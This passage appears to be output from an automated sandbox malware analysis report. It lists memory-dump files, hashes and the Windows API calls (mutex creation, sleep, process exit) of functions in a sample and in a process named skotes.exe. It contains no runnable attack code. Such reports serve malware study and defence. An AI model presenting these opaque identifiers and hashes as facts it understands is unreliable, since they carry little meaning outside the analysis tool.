__Mtx_unlock.LIBCPMT ref: 00FB319B

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction ID: f5ee0a315b13735ce78b5442ae3d57aee6f27532b6768a99d802f446fa2a376d
Opcode Fuzzy Hash: c64b582584f1ba6f1b77191c70a155b5838d7e0e67f371d6fce0612362c8bbe2
Instruction Fuzzy Hash: 2BA1F371E41206AFDB10EF65CE45BAAB7A8FF14364F04812DE819D7241EB35EA04EBD1

Function 00FECBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00FECC66

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction ID: dd05b4bd6bc9a135e851fbdd7a7336a55597385e22180c520d6f357ff6532f2f
Opcode Fuzzy Hash: e735d7118d15e2b04af68ee7be9476ee50b6c15cebd4be360e770f4c3f107c3f
Instruction Fuzzy Hash: 8FB1F232D042C59FDB25CF2AC881BBEBBA5EF45350F24416AF855EB241D6399D03DBA0

Function 00FCBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00FCBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBBE4
_xtime_get.LIBCPMT ref: 00FCBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00FCBC13

Memory Dump Source

Source File: 00000000.00000002.2172859499.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.2172833223.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172859499.0000000001012000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172945697.0000000001019000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172965613.000000000101B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2172986144.0000000001025000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173006327.0000000001026000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173031775.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173154677.000000000117D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173177073.0000000001180000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000118E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173254094.00000000011A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173276054.00000000011A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173295281.00000000011A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173314298.00000000011A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173336144.00000000011AE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173354350.00000000011AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173379807.00000000011B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173400052.00000000011B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173426304.00000000011CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173447328.00000000011CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173476322.00000000011CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173500802.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173521014.00000000011D7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173540689.00000000011E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173570847.00000000011FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173591657.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173615771.0000000001200000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173640446.0000000001207000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173661569.0000000001208000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173682911.000000000120C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173703949.0000000001219000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173723604.000000000121B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173745809.000000000121C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173764733.000000000121F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173810269.0000000001228000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173832693.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173863808.0000000001237000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173885011.0000000001239000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173917976.0000000001269000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174131778.0000000001275000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174181867.00000000012A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174203476.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174223114.00000000012A4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174244742.00000000012A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174267174.00000000012AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174295831.00000000012B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174319547.00000000012B9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction ID: 632d9fab2a9d2fe0873d983d54fb034023beb8ec72c64e01e7aef8ded841783b
Opcode Fuzzy Hash: 1e25fd00b6645ea3f3f10a8d89662976f3497dfa54fee0d2e74eff1423a5f977
Instruction Fuzzy Hash: AF211D75E0011AAFDF01EBA4DE82EBEB7B9EF48710F11005DF505A7251DB399D01ABA1

Analysis Process: skotes.exePID: 6012, Parent PID: 6748COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1839
Total number of Limit Nodes:	15

Executed Functions

Function 0064652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0064652A,?,?,?,?,?,00647661), ref: 00646567

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9c7252955c13d144ced1df8430e663aac982e5516488effe1a708ca244e93187
Instruction ID: b5fd712cc64636f810010291a3ede83d059debc4d4a9b26d77bcf64d5d20b218
Opcode Fuzzy Hash: 9c7252955c13d144ced1df8430e663aac982e5516488effe1a708ca244e93187
Instruction Fuzzy Hash: 1CE08C30041508AFDF2ABB1DC809A983B2AEB03745F401C04F808CA226CB75ED91DA92

Function 00619BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0061A963
CreateMutexA.KERNELBASE(00000000,00000000,00673254), ref: 0061A981

Strings

T2g, xrefs: 0061A970

Memory Dump Source

Source File: 00000002.00000002.2201284335.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.2201268314.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201284335.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201342130.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201357651.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201375774.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201391233.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201406760.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201501926.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201517377.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201576961.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201592349.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201609506.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201624389.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201642852.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201658183.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201674810.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201691038.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201713822.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201730381.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201748148.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201763640.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201781002.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201797911.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201819693.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201837561.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201853263.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201869733.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201890329.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201909411.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201926932.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201945622.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201964865.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2201987520.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202011077.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202029385.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202048430.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202066009.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202103752.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202125569.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202170722.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202194145.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202214902.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202233288.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202255316.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202277857.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2202298926.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2g
API String ID: 1464230837-2857566196
Opcode ID: cf75e72e82d0923427039e01ab63743e1cb5b8f2cdce97ae07749fde2a652111
Instruction ID: 7475efb6c1bf89e709945d7dbef73b7284563df1b8824b6eb56fbe9d5bc2aadf
Opcode Fuzzy Hash: cf75e72e82d0923427039e01ab63743e1cb5b8f2cdce97ae07749fde2a652111
Instruction Fuzzy Hash: BC314A31A051408BEB08DB7CDC857EEB773DB82314F288658E064D73D6C7759AC087A2

Function 00619F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
